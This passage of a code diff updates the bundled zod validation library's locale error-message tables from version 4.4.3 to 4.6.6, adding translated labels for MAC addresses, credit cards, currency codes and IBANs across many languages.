\u09B8\u09CD\u099F\u09CD\u09B0\u09BF\u0982", + e164: "E.164 \u09A8\u09AE\u09CD\u09AC\u09B0", + credit_card: "\u0995\u09CD\u09B0\u09C7\u09A1\u09BF\u099F \u0995\u09BE\u09B0\u09CD\u09A1 \u09A8\u09AE\u09CD\u09AC\u09B0", + currency_code: "\u09AE\u09C1\u09A6\u09CD\u09B0\u09BE \u0995\u09CB\u09A1", + iban: "IBAN", + jwt: "JWT", + template_literal: "\u0987\u09A8\u09AA\u09C1\u099F" + }; + const TypeDictionary = { + nan: "NaN" + }; + return (issue2) => { + switch (issue2.code) { + case "invalid_type": { + const expected = TypeDictionary[issue2.expected] ?? issue2.expected; + const receivedType = parsedType(issue2.input); + const received = TypeDictionary[receivedType] ?? receivedType; + return `\u0985\u09AC\u09C8\u09A7 \u0987\u09A8\u09AA\u09C1\u099F: \u09AA\u09CD\u09B0\u09A4\u09CD\u09AF\u09BE\u09B6\u09BF\u09A4 ${expected}, \u09AA\u09CD\u09B0\u09BE\u09AA\u09CD\u09A4 ${received}`; + } + case "invalid_value": + if (issue2.values.length === 1) + return `\u0985\u09AC\u09C8\u09A7 \u0987\u09A8\u09AA\u09C1\u099F: \u09AA\u09CD\u09B0\u09A4\u09CD\u09AF\u09BE\u09B6\u09BF\u09A4 ${stringifyPrimitive(issue2.values[0])}`; + return `\u0985\u09AC\u09C8\u09A7 \u0985\u09AA\u09B6\u09A8: ${joinValues(issue2.values, " | ")} \u098F\u09B0 \u09AE\u09A7\u09CD\u09AF\u09C7 \u098F\u0995\u099F\u09BF \u09AA\u09CD\u09B0\u09A4\u09CD\u09AF\u09BE\u09B6\u09BF\u09A4`; + case "too_big": { + const adj = issue2.inclusive ? "<=" : "<"; + const sizing = getSizing(issue2.origin); + if (sizing) + return `\u0985\u09A8\u09C7\u0995 \u09AC\u09A1\u09BC: ${issue2.origin ?? "\u09AE\u09BE\u09A8"} ${adj}${issue2.maximum.toString()} ${sizing.unit ?? "\u098F\u09B2\u09BF\u09AE\u09C7\u09A8\u09CD\u099F"} \u09B9\u09A4\u09C7 \u09B9\u09AC\u09C7`; + return `\u0985\u09A8\u09C7\u0995 \u09AC\u09A1\u09BC: ${issue2.origin ?? "\u09AE\u09BE\u09A8"} ${adj}${issue2.maximum.toString()} \u09B9\u09A4\u09C7 \u09B9\u09AC\u09C7`; + } + case "too_small": { + const adj = issue2.inclusive ? ">=" : ">"; + const sizing = getSizing(issue2.origin); + if (sizing) { + return `\u0985\u09A8\u09C7\u0995 \u099B\u09CB\u099F: ${issue2.origin} ${adj}${issue2.minimum.toString()} ${sizing.unit} \u09B9\u09A4\u09C7 \u09B9\u09AC\u09C7`; + } + return `\u0985\u09A8\u09C7\u0995 \u099B\u09CB\u099F: ${issue2.origin} ${adj}${issue2.minimum.toString()} \u09B9\u09A4\u09C7 \u09B9\u09AC\u09C7`; + } + case "invalid_format": { + const _issue = issue2; + if (_issue.format === "starts_with") { + return `\u0985\u09AC\u09C8\u09A7 \u09B8\u09CD\u099F\u09CD\u09B0\u09BF\u0982: "${_issue.prefix}" \u09A6\u09BF\u09AF\u09BC\u09C7 \u09B6\u09C1\u09B0\u09C1 \u09B9\u09A4\u09C7 \u09B9\u09AC\u09C7`; + } + if (_issue.format === "ends_with") + return `\u0985\u09AC\u09C8\u09A7 \u09B8\u09CD\u099F\u09CD\u09B0\u09BF\u0982: "${_issue.suffix}" \u09A6\u09BF\u09AF\u09BC\u09C7 \u09B6\u09C7\u09B7 \u09B9\u09A4\u09C7 \u09B9\u09AC\u09C7`; + if (_issue.format === "includes") + return `\u0985\u09AC\u09C8\u09A7 \u09B8\u09CD\u099F\u09CD\u09B0\u09BF\u0982: "${_issue.includes}" \u0985\u09A8\u09CD\u09A4\u09B0\u09CD\u09AD\u09C1\u0995\u09CD\u09A4 \u09A5\u09BE\u0995\u09A4\u09C7 \u09B9\u09AC\u09C7`; + if (_issue.format === "regex") + return `\u0985\u09AC\u09C8\u09A7 \u09B8\u09CD\u099F\u09CD\u09B0\u09BF\u0982: ${_issue.pattern} \u09AA\u09CD\u09AF\u09BE\u099F\u09BE\u09B0\u09CD\u09A8 \u09AE\u09BF\u09B2\u09A4\u09C7 \u09B9\u09AC\u09C7`; + return `\u0985\u09AC\u09C8\u09A7 ${FormatDictionary[_issue.format] ?? issue2.format}`; + } + case "not_multiple_of": + return `\u0985\u09AC\u09C8\u09A7 \u09A8\u09AE\u09CD\u09AC\u09B0: ${issue2.divisor} \u098F\u09B0 \u0997\u09C1\u09A3\u09BF\u09A4\u0995 \u09B9\u09A4\u09C7 \u09B9\u09AC\u09C7`; + case "unrecognized_keys": + return `\u0985\u099A\u09C7\u09A8\u09BE \u0995\u09C0${issue2.keys.length > 1 ? "\u0997\u09C1\u09B2\u09CB" : ""}: ${joinValues(issue2.keys, ", ")}`; + case "invalid_key": + return `${issue2.origin} \u098F \u0985\u09AC\u09C8\u09A7 \u0995\u09C0`; + case "invalid_union": + if (issue2.options && Array.isArray(issue2.options) && issue2.options.length > 0) { + const opts = issue2.options.map((o) => `'${o}'`).join(" | "); + return `\u0985\u09AC\u09C8\u09A7 \u09A1\u09BF\u09B8\u0995\u09CD\u09B0\u09BF\u09AE\u09BF\u09A8\u09C7\u099F\u09B0 \u09AE\u09BE\u09A8\u0964 \u09AA\u09CD\u09B0\u09A4\u09CD\u09AF\u09BE\u09B6\u09BF\u09A4 ${opts}`; + } + return "\u0985\u09AC\u09C8\u09A7 \u0987\u09A8\u09AA\u09C1\u099F"; + case "invalid_element": + return `${issue2.origin} \u098F \u0985\u09AC\u09C8\u09A7 \u09AE\u09BE\u09A8`; + default: + return "\u0985\u09AC\u09C8\u09A7 \u0987\u09A8\u09AA\u09C1\u099F"; + } + }; +}; +function bn_default() { + return { + localeError: error5() + }; +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/ca.js +var error6 = () => { const Sizable = { string: { unit: "car\xE0cters", verb: "contenir" }, file: { unit: "bytes", verb: "contenir" }, array: { unit: "elements", verb: "contenir" }, - set: { unit: "elements", verb: "contenir" } + set: { unit: "elements", verb: "contenir" }, + map: { unit: "elements", verb: "contenir" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -59688,12 +60801,16 @@ var error5 = () => { duration: "durada ISO", ipv4: "adre\xE7a IPv4", ipv6: "adre\xE7a IPv6", + mac: "adre\xE7a MAC", cidrv4: "rang IPv4", cidrv6: "rang IPv6", base64: "cadena codificada en base64", base64url: "cadena codificada en base64url", json_string: "cadena JSON", e164: "n\xFAmero E.164", + credit_card: "n\xFAmero de targeta de cr\xE8dit", + currency_code: "codi de moneda", + iban: "IBAN", jwt: "JWT", template_literal: "entrada" }; @@ -59761,17 +60878,151 @@ var error5 = () => { }; function ca_default() { return { - localeError: error5() + localeError: error6() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/cs.js -var error6 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/ckb.js +var error7 = () => { + const Sizable = { + string: { unit: "\u067E\u06CC\u062A", verb: "\u0628\u06CE\u062A" }, + file: { unit: "\u0628\u0627\u06CC\u062A", verb: "\u0628\u06CE\u062A" }, + array: { unit: "\u062F\u0627\u0646\u06D5", verb: "\u0628\u06CE\u062A" }, + set: { unit: "\u062F\u0627\u0646\u06D5", verb: "\u0628\u06CE\u062A" }, + map: { unit: "\u062F\u0627\u0646\u06D5", verb: "\u0628\u06CE\u062A" } + }; + function getSizing(origin) { + return Sizable[origin] ?? null; + } + const FormatDictionary = { + regex: "regex", + email: "\u0626\u06CC\u0645\u06D5\u06CC\u06B5", + url: "\u0628\u06D5\u0633\u062A\u06D5\u0631 (URL)", + emoji: "\u0626\u06CC\u0645\u06C6\u062C\u06CC", + uuid: "UUID", + uuidv4: "UUIDv4", + uuidv6: "UUIDv6", + nanoid: "nanoid", + guid: "GUID", + cuid: "cuid", + cuid2: "cuid2", + ulid: "ULID", + xid: "XID", + ksuid: "KSUID", + datetime: "\u0695\u06CE\u06A9\u06D5\u0648\u062A \u0648 \u06A9\u0627\u062A", + date: "\u0695\u06CE\u06A9\u06D5\u0648\u062A", + time: "\u06A9\u0627\u062A", + duration: "\u0645\u0627\u0648\u06D5", + ipv4: "\u0646\u0627\u0648\u0646\u06CC\u0634\u0627\u0646\u06CC IPv4", + ipv6: "\u0646\u0627\u0648\u0646\u06CC\u0634\u0627\u0646\u06CC IPv6", + mac: "\u0646\u0627\u0648\u0646\u06CC\u0634\u0627\u0646\u06CC MAC", + cidrv4: "\u0645\u06D5\u0648\u062F\u0627\u06CC IPv4", + cidrv6: "\u0645\u06D5\u0648\u062F\u0627\u06CC IPv6", + base64: "\u062F\u06D5\u0642\u06CC base64", + base64url: "\u062F\u06D5\u0642\u06CC base64url", + json_string: "\u062F\u06D5\u0642\u06CC JSON", + e164: "\u0698\u0645\u0627\u0631\u06D5\u06CC E.164", + credit_card: "\u0698\u0645\u0627\u0631\u06D5\u06CC \u06A9\u0627\u0631\u062A\u06CC \u06A9\u0631\u06CE\u062F\u06CC\u062A", + currency_code: "\u06A9\u06C6\u062F\u06CC \u062F\u0631\u0627\u0648", + iban: "IBAN", + jwt: "JWT", + template_literal: "\u062A\u06CE\u06A9\u0631\u062F\u06D5" + }; + const TypeDictionary = { + nan: "NaN", + string: "\u0646\u0648\u0648\u0633\u06CC\u0646", + number: "\u0698\u0645\u0627\u0631\u06D5", + boolean: "boolean", + array: "array", + object: "object", + date: "\u0695\u06CE\u06A9\u06D5\u0648\u062A", + integer: "\u0698\u0645\u0627\u0631\u06D5", + float: "\u0698\u0645\u0627\u0631\u06D5", + null: "null", + undefined: "undefined", + function: "function", + symbol: "symbol", + unknown: "unknown", + promise: "promise", + void: "void", + never: "never", + map: "map", + set: "set" + }; + return (issue2) => { + switch (issue2.code) { + case "invalid_type": { + const expected = TypeDictionary[issue2.expected] ?? issue2.expected; + const receivedType = parsedType(issue2.input); + const received = TypeDictionary[receivedType] ?? receivedType; + const postfix = ["\u0627", "\u0648", "\u06C6", "\u0648\u0648", "\u06D5", "\u06CC", "\u06CE"].some((p) => received.endsWith(p)) ? "\u06CC\u06D5" : "\u06D5"; + const isEnglish = /^[a-zA-Z]+$/.test(received); + if (receivedType === "null" || receivedType === "undefined") + return `\u062F\u0627\u0648\u0627\u06A9\u0631\u0627\u0648\u06D5`; + return `\u0686\u0627\u0648\u06D5\u0695\u0648\u0627\u0646\u06A9\u0631\u0627\u0648\u06D5 ${expected} \u0628\u06CE\u062A\u060C \u0628\u06D5\u06B5\u0627\u0645 ${received}${isEnglish ? "" : postfix}`; + } + case "invalid_value": + if (issue2.values.length === 1) + return `\u0628\u06D5\u0647\u0627\u06A9\u06D5 \u0646\u0627\u062F\u0631\u0648\u0648\u0633\u062A\u06D5: \u0686\u0627\u0648\u06D5\u0695\u0648\u0627\u0646\u06A9\u0631\u0627\u0648\u06D5 ${stringifyPrimitive(issue2.values[0])} \u0628\u06CE\u062A`; + return `\u0647\u06D5\u06B5\u0628\u0698\u0627\u0631\u062F\u06D5\u06CC \u0646\u0627\u062F\u0631\u0648\u0633\u062A: \u0686\u0627\u0648\u06D5\u0695\u0648\u0627\u0646\u06A9\u0631\u0627\u0648\u06D5 \u06CC\u06D5\u06A9\u06CE\u06A9 \u0628\u06CE\u062A \u0644\u06D5 ${joinValues(issue2.values, "|")}`; + case "too_big": { + const sizing = getSizing(issue2.origin); + if (sizing) + return `\u067E\u06CE\u0648\u06CC\u0633\u062A\u06D5 \u0628\u06D5 \u0644\u0627\u06CC\u06D5\u0646\u06CC \u0632\u06C6\u0631\u06D5\u0648\u06D5 ${issue2.maximum.toString()} ${sizing.unit} ${sizing.verb}`; + return `\u067E\u06CE\u0648\u06CC\u0633\u062A\u06D5 \u0628\u06D5 \u0644\u0627\u06CC\u06D5\u0646\u06CC \u0632\u06C6\u0631\u06D5\u0648\u06D5 ${issue2.maximum.toString()} \u0628\u06CE\u062A`; + } + case "too_small": { + const sizing = getSizing(issue2.origin); + if (sizing) + return `\u067E\u06CE\u0648\u06CC\u0633\u062A\u06D5 \u0628\u06D5 \u0644\u0627\u06CC\u06D5\u0646\u06CC \u06A9\u06D5\u0645\u06D5\u0648\u06D5 ${issue2.minimum.toString()} ${sizing.unit} ${sizing.verb}`; + return `\u067E\u06CE\u0648\u06CC\u0633\u062A\u06D5 \u0628\u06D5 \u0644\u0627\u06CC\u06D5\u0646\u06CC \u06A9\u06D5\u0645\u06D5\u0648\u06D5 ${issue2.minimum.toString()} \u0628\u06CE\u062A`; + } + case "invalid_format": { + const _issue = issue2; + if (_issue.format === "starts_with") { + return `\u062F\u06D5\u0642\u06CC \u0646\u0627\u062F\u0631\u0648\u0633\u062A: \u067E\u06CE\u0648\u06CC\u0633\u062A\u06D5 \u062F\u06D5\u0633\u062A\u067E\u06CE\u0628\u06A9\u0627\u062A \u0628\u06D5 "${_issue.prefix}"`; + } + if (_issue.format === "ends_with") + return `\u062F\u06D5\u0642\u06CC \u0646\u0627\u062F\u0631\u0648\u0633\u062A: \u067E\u06CE\u0648\u06CC\u0633\u062A\u06D5 \u06A9\u06C6\u062A\u0627\u06CC\u06CC\u0628\u06CE\u062A \u0628\u06D5 "${_issue.suffix}"`; + if (_issue.format === "includes") + return `\u062F\u06D5\u0642\u06CC \u0646\u0627\u062F\u0631\u0648\u0633\u062A: \u067E\u06CE\u0648\u06CC\u0633\u062A\u06D5 "${_issue.includes}" \u0644\u06D5\u062E\u06C6\u0628\u06AF\u0631\u06CE\u062A`; + if (_issue.format === "regex") + return `\u062F\u06D5\u0642\u06CC \u0646\u0627\u062F\u0631\u0648\u0633\u062A: \u067E\u06CE\u0648\u06CC\u0633\u062A\u06D5 \u0644\u06D5\u06AF\u06D5\u06B5 \u067E\u0627\u062A\u06CE\u0631\u0646\u06CC ${_issue.pattern} \u0628\u06AF\u0648\u0646\u062C\u06CE\u062A`; + return `\u0628\u06D5\u0647\u0627\u06CC ${FormatDictionary[_issue.format] ?? issue2.format} \u0646\u0627\u062F\u0631\u0648\u0633\u062A\u06D5`; + } + case "not_multiple_of": + return `\u0698\u0645\u0627\u0631\u06D5\u06CC \u0646\u0627\u062F\u0631\u0648\u0633\u062A: \u062F\u06D5\u0628\u06CE\u062A \u0686\u06D5\u0646\u062F \u0647\u06CE\u0646\u062F\u06D5 \u0628\u06CE\u062A \u0628\u06C6 ${issue2.divisor}`; + case "unrecognized_keys": + return `\u06A9\u0644\u06CC\u0644\u06CC \u0646\u06D5\u0646\u0627\u0633\u0631\u0627\u0648: ${joinValues(issue2.keys, ", ")}`; + case "invalid_key": + return `\u06A9\u0644\u06CC\u0644\u06CC \u0646\u0627\u062F\u0631\u0648\u0633\u062A \u0644\u06D5 ${issue2.origin}`; + case "invalid_union": + if (issue2.options && Array.isArray(issue2.options) && issue2.options.length > 0) { + const opts = issue2.options.map((o) => `'${o}'`).join(" | "); + return `\u0628\u06D5\u0647\u0627\u06CC \u0646\u06D5\u0646\u0627\u0633\u0631\u0627\u0648 \u0647\u06D5\u06CC\u06D5. \u0628\u06D5\u0647\u0627\u06CC \u0686\u0627\u0648\u06D5\u0695\u0648\u0627\u0646\u06A9\u0631\u0627\u0648: ${opts}`; + } + return "\u06CC\u06D5\u06A9\u06AF\u0631\u062A\u0646\u06CC \u0646\u0627\u062F\u0631\u0648\u0633\u062A"; + case "invalid_element": + return `${issue2.origin} \u0628\u06D5\u0647\u0627\u06A9\u06D5 \u0646\u0627\u062F\u0631\u0648\u0633\u062A\u06D5`; + default: + return `\u062A\u06CE\u06A9\u0631\u062F\u06D5\u06CC \u0646\u0627\u062F\u0631\u0648\u0633\u062A`; + } + }; +}; +function ckb_default() { + return { + localeError: error7() + }; +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/cs.js +var error8 = () => { const Sizable = { string: { unit: "znak\u016F", verb: "m\xEDt" }, file: { unit: "bajt\u016F", verb: "m\xEDt" }, array: { unit: "prvk\u016F", verb: "m\xEDt" }, - set: { unit: "prvk\u016F", verb: "m\xEDt" } + set: { unit: "prvk\u016F", verb: "m\xEDt" }, + map: { unit: "prvk\u016F", verb: "m\xEDt" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -59797,12 +61048,16 @@ var error6 = () => { duration: "doba trv\xE1n\xED ISO", ipv4: "IPv4 adresa", ipv6: "IPv6 adresa", + mac: "MAC adresa", cidrv4: "rozsah IPv4", cidrv6: "rozsah IPv6", base64: "\u0159et\u011Bzec zak\xF3dovan\xFD ve form\xE1tu base64", base64url: "\u0159et\u011Bzec zak\xF3dovan\xFD ve form\xE1tu base64url", json_string: "\u0159et\u011Bzec ve form\xE1tu JSON", e164: "\u010D\xEDslo E.164", + credit_card: "\u010D\xEDslo kreditn\xED karty", + currency_code: "k\xF3d m\u011Bny", + iban: "IBAN", jwt: "JWT", template_literal: "vstup" }; @@ -59873,17 +61128,18 @@ var error6 = () => { }; function cs_default() { return { - localeError: error6() + localeError: error8() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/da.js -var error7 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/da.js +var error9 = () => { const Sizable = { string: { unit: "tegn", verb: "havde" }, file: { unit: "bytes", verb: "havde" }, array: { unit: "elementer", verb: "indeholdt" }, - set: { unit: "elementer", verb: "indeholdt" } + set: { unit: "elementer", verb: "indeholdt" }, + map: { unit: "elementer", verb: "indeholdt" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -59907,14 +61163,18 @@ var error7 = () => { date: "ISO-dato", time: "ISO-klokkesl\xE6t", duration: "ISO-varighed", - ipv4: "IPv4-omr\xE5de", - ipv6: "IPv6-omr\xE5de", + ipv4: "IPv4-adresse", + ipv6: "IPv6-adresse", + mac: "MAC-adresse", cidrv4: "IPv4-spektrum", cidrv6: "IPv6-spektrum", base64: "base64-kodet streng", base64url: "base64url-kodet streng", json_string: "JSON-streng", e164: "E.164-nummer", + credit_card: "kreditkortnummer", + currency_code: "valutakode", + iban: "IBAN", jwt: "JWT", template_literal: "input" }; @@ -59989,17 +61249,18 @@ var error7 = () => { }; function da_default() { return { - localeError: error7() + localeError: error9() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/de.js -var error8 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/de.js +var error10 = () => { const Sizable = { string: { unit: "Zeichen", verb: "zu haben" }, file: { unit: "Bytes", verb: "zu haben" }, array: { unit: "Elemente", verb: "zu haben" }, - set: { unit: "Elemente", verb: "zu haben" } + set: { unit: "Elemente", verb: "zu haben" }, + map: { unit: "Elemente", verb: "zu haben" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -60025,12 +61286,16 @@ var error8 = () => { duration: "ISO-Dauer", ipv4: "IPv4-Adresse", ipv6: "IPv6-Adresse", + mac: "MAC-Adresse", cidrv4: "IPv4-Bereich", cidrv6: "IPv6-Bereich", base64: "Base64-codierter String", base64url: "Base64-URL-codierter String", json_string: "JSON-String", e164: "E.164-Nummer", + credit_card: "Kreditkartennummer", + currency_code: "W\xE4hrungscode", + iban: "IBAN", jwt: "JWT", template_literal: "Eingabe" }; @@ -60098,12 +61363,12 @@ var error8 = () => { }; function de_default() { return { - localeError: error8() + localeError: error10() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/el.js -var error9 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/el.js +var error11 = () => { const Sizable = { string: { unit: "\u03C7\u03B1\u03C1\u03B1\u03BA\u03C4\u03AE\u03C1\u03B5\u03C2", verb: "\u03BD\u03B1 \u03AD\u03C7\u03B5\u03B9" }, file: { unit: "bytes", verb: "\u03BD\u03B1 \u03AD\u03C7\u03B5\u03B9" }, @@ -60142,6 +61407,9 @@ var error9 = () => { base64url: "\u03C3\u03C5\u03BC\u03B2\u03BF\u03BB\u03BF\u03C3\u03B5\u03B9\u03C1\u03AC \u03BA\u03C9\u03B4\u03B9\u03BA\u03BF\u03C0\u03BF\u03B9\u03B7\u03BC\u03AD\u03BD\u03B7 \u03C3\u03B5 base64url", json_string: "\u03C3\u03C5\u03BC\u03B2\u03BF\u03BB\u03BF\u03C3\u03B5\u03B9\u03C1\u03AC JSON", e164: "\u03B1\u03C1\u03B9\u03B8\u03BC\u03CC\u03C2 E.164", + credit_card: "\u03B1\u03C1\u03B9\u03B8\u03BC\u03CC\u03C2 \u03C0\u03B9\u03C3\u03C4\u03C9\u03C4\u03B9\u03BA\u03AE\u03C2 \u03BA\u03AC\u03C1\u03C4\u03B1\u03C2", + currency_code: "\u03BA\u03C9\u03B4\u03B9\u03BA\u03CC\u03C2 \u03BD\u03BF\u03BC\u03AF\u03C3\u03BC\u03B1\u03C4\u03BF\u03C2", + iban: "IBAN", jwt: "JWT", template_literal: "\u03B5\u03AF\u03C3\u03BF\u03B4\u03BF\u03C2" }; @@ -60208,12 +61476,12 @@ var error9 = () => { }; function el_default() { return { - localeError: error9() + localeError: error11() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/en.js -var error10 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/en.js +var error12 = () => { const Sizable = { string: { unit: "characters", verb: "to have" }, file: { unit: "bytes", verb: "to have" }, @@ -60252,6 +61520,9 @@ var error10 = () => { base64url: "base64url-encoded string", json_string: "JSON string", e164: "E.164 number", + currency_code: "currency code", + credit_card: "credit card number", + iban: "IBAN", jwt: "JWT", template_literal: "input" }; @@ -60260,12 +61531,18 @@ var error10 = () => { nan: "NaN" // All other type names omitted - they fall back to raw values via ?? operator }; + function getTypeName(type, input2) { + if (type === "number" && typeof input2 === "number" && !Number.isFinite(input2)) { + return String(input2); + } + return TypeDictionary[type] ?? type; + } return (issue2) => { switch (issue2.code) { case "invalid_type": { - const expected = TypeDictionary[issue2.expected] ?? issue2.expected; + const expected = getTypeName(issue2.expected); const receivedType = parsedType(issue2.input); - const received = TypeDictionary[receivedType] ?? receivedType; + const received = getTypeName(receivedType, issue2.input); return `Invalid input: expected ${expected}, received ${received}`; } case "invalid_value": @@ -60273,14 +61550,14 @@ var error10 = () => { return `Invalid input: expected ${stringifyPrimitive(issue2.values[0])}`; return `Invalid option: expected one of ${joinValues(issue2.values, "|")}`; case "too_big": { - const adj = issue2.inclusive ? "<=" : "<"; + const adj = issue2.exact ? "exactly " : issue2.inclusive ? "<=" : "<"; const sizing = getSizing(issue2.origin); if (sizing) return `Too big: expected ${issue2.origin ?? "value"} to have ${adj}${issue2.maximum.toString()} ${sizing.unit ?? "elements"}`; return `Too big: expected ${issue2.origin ?? "value"} to be ${adj}${issue2.maximum.toString()}`; } case "too_small": { - const adj = issue2.inclusive ? ">=" : ">"; + const adj = issue2.exact ? "exactly " : issue2.inclusive ? ">=" : ">"; const sizing = getSizing(issue2.origin); if (sizing) { return `Too small: expected ${issue2.origin} to have ${adj}${issue2.minimum.toString()} ${sizing.unit}`; @@ -60311,6 +61588,9 @@ var error10 = () => { const opts = issue2.options.map((o) => `'${o}'`).join(" | "); return `Invalid discriminator value. Expected ${opts}`; } + if (issue2.inclusive === false) { + return "Invalid input: more than one option matched"; + } return "Invalid input"; case "invalid_element": return `Invalid value in ${issue2.origin}`; @@ -60321,17 +61601,18 @@ var error10 = () => { }; function en_default() { return { - localeError: error10() + localeError: error12() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/eo.js -var error11 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/eo.js +var error13 = () => { const Sizable = { string: { unit: "karaktrojn", verb: "havi" }, file: { unit: "bajtojn", verb: "havi" }, array: { unit: "elementojn", verb: "havi" }, - set: { unit: "elementojn", verb: "havi" } + set: { unit: "elementojn", verb: "havi" }, + map: { unit: "elementojn", verb: "havi" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -60357,12 +61638,16 @@ var error11 = () => { duration: "ISO-da\u016Dro", ipv4: "IPv4-adreso", ipv6: "IPv6-adreso", + mac: "MAC-adreso", cidrv4: "IPv4-rango", cidrv6: "IPv6-rango", base64: "64-ume kodita karaktraro", base64url: "URL-64-ume kodita karaktraro", json_string: "JSON-karaktraro", e164: "E.164-nombro", + credit_card: "kreditkarta numero", + currency_code: "valuta kodo", + iban: "IBAN", jwt: "JWT", template_literal: "enigo" }; @@ -60431,12 +61716,12 @@ var error11 = () => { }; function eo_default() { return { - localeError: error11() + localeError: error13() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/es.js -var error12 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/es.js +var error14 = () => { const Sizable = { string: { unit: "caracteres", verb: "tener" }, file: { unit: "bytes", verb: "tener" }, @@ -60467,12 +61752,16 @@ var error12 = () => { duration: "duraci\xF3n ISO", ipv4: "direcci\xF3n IPv4", ipv6: "direcci\xF3n IPv6", + mac: "direcci\xF3n MAC", cidrv4: "rango IPv4", cidrv6: "rango IPv6", base64: "cadena codificada en base64", base64url: "URL codificada en base64", json_string: "cadena JSON", e164: "n\xFAmero E.164", + credit_card: "n\xFAmero de tarjeta de cr\xE9dito", + currency_code: "c\xF3digo de moneda", + iban: "IBAN", jwt: "JWT", template_literal: "entrada" }; @@ -60564,17 +61853,18 @@ var error12 = () => { }; function es_default() { return { - localeError: error12() + localeError: error14() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/fa.js -var error13 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/fa.js +var error15 = () => { const Sizable = { string: { unit: "\u06A9\u0627\u0631\u0627\u06A9\u062A\u0631", verb: "\u062F\u0627\u0634\u062A\u0647 \u0628\u0627\u0634\u062F" }, file: { unit: "\u0628\u0627\u06CC\u062A", verb: "\u062F\u0627\u0634\u062A\u0647 \u0628\u0627\u0634\u062F" }, array: { unit: "\u0622\u06CC\u062A\u0645", verb: "\u062F\u0627\u0634\u062A\u0647 \u0628\u0627\u0634\u062F" }, - set: { unit: "\u0622\u06CC\u062A\u0645", verb: "\u062F\u0627\u0634\u062A\u0647 \u0628\u0627\u0634\u062F" } + set: { unit: "\u0622\u06CC\u062A\u0645", verb: "\u062F\u0627\u0634\u062A\u0647 \u0628\u0627\u0634\u062F" }, + map: { unit: "\u0622\u06CC\u062A\u0645", verb: "\u062F\u0627\u0634\u062A\u0647 \u0628\u0627\u0634\u062F" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -60600,12 +61890,16 @@ var error13 = () => { duration: "\u0645\u062F\u062A \u0632\u0645\u0627\u0646 \u0627\u06CC\u0632\u0648", ipv4: "IPv4 \u0622\u062F\u0631\u0633", ipv6: "IPv6 \u0622\u062F\u0631\u0633", + mac: "MAC \u0622\u062F\u0631\u0633", cidrv4: "IPv4 \u062F\u0627\u0645\u0646\u0647", cidrv6: "IPv6 \u062F\u0627\u0645\u0646\u0647", base64: "base64-encoded \u0631\u0634\u062A\u0647", base64url: "base64url-encoded \u0631\u0634\u062A\u0647", json_string: "JSON \u0631\u0634\u062A\u0647", e164: "E.164 \u0639\u062F\u062F", + credit_card: "\u0634\u0645\u0627\u0631\u0647 \u06A9\u0627\u0631\u062A \u0627\u0639\u062A\u0628\u0627\u0631\u06CC", + currency_code: "\u06A9\u062F \u0627\u0631\u0632", + iban: "IBAN", jwt: "JWT", template_literal: "\u0648\u0631\u0648\u062F\u06CC" }; @@ -60679,17 +61973,18 @@ var error13 = () => { }; function fa_default() { return { - localeError: error13() + localeError: error15() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/fi.js -var error14 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/fi.js +var error16 = () => { const Sizable = { string: { unit: "merkki\xE4", subject: "merkkijonon" }, file: { unit: "tavua", subject: "tiedoston" }, array: { unit: "alkiota", subject: "listan" }, set: { unit: "alkiota", subject: "joukon" }, + map: { unit: "alkiota", subject: "kuvauksen" }, number: { unit: "", subject: "luvun" }, bigint: { unit: "", subject: "suuren kokonaisluvun" }, int: { unit: "", subject: "kokonaisluvun" }, @@ -60719,12 +62014,16 @@ var error14 = () => { duration: "ISO-kesto", ipv4: "IPv4-osoite", ipv6: "IPv6-osoite", + mac: "MAC-osoite", cidrv4: "IPv4-alue", cidrv6: "IPv6-alue", base64: "base64-koodattu merkkijono", base64url: "base64url-koodattu merkkijono", json_string: "JSON-merkkijono", e164: "E.164-luku", + credit_card: "luottokortin numero", + currency_code: "valuuttakoodi", + iban: "IBAN", jwt: "JWT", template_literal: "templaattimerkkijono" }; @@ -60792,12 +62091,12 @@ var error14 = () => { }; function fi_default() { return { - localeError: error14() + localeError: error16() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/fr.js -var error15 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/fr.js +var error17 = () => { const Sizable = { string: { unit: "caract\xE8res", verb: "avoir" }, file: { unit: "octets", verb: "avoir" }, @@ -60808,7 +62107,7 @@ var error15 = () => { return Sizable[origin] ?? null; } const FormatDictionary = { - regex: "entr\xE9e", + regex: "expression r\xE9guli\xE8re", email: "adresse e-mail", url: "URL", emoji: "emoji", @@ -60828,17 +62127,21 @@ var error15 = () => { duration: "dur\xE9e ISO", ipv4: "adresse IPv4", ipv6: "adresse IPv6", + mac: "adresse MAC", cidrv4: "plage IPv4", cidrv6: "plage IPv6", - base64: "cha\xEEne encod\xE9e en base64", - base64url: "cha\xEEne encod\xE9e en base64url", - json_string: "cha\xEEne JSON", - e164: "num\xE9ro E.164", + 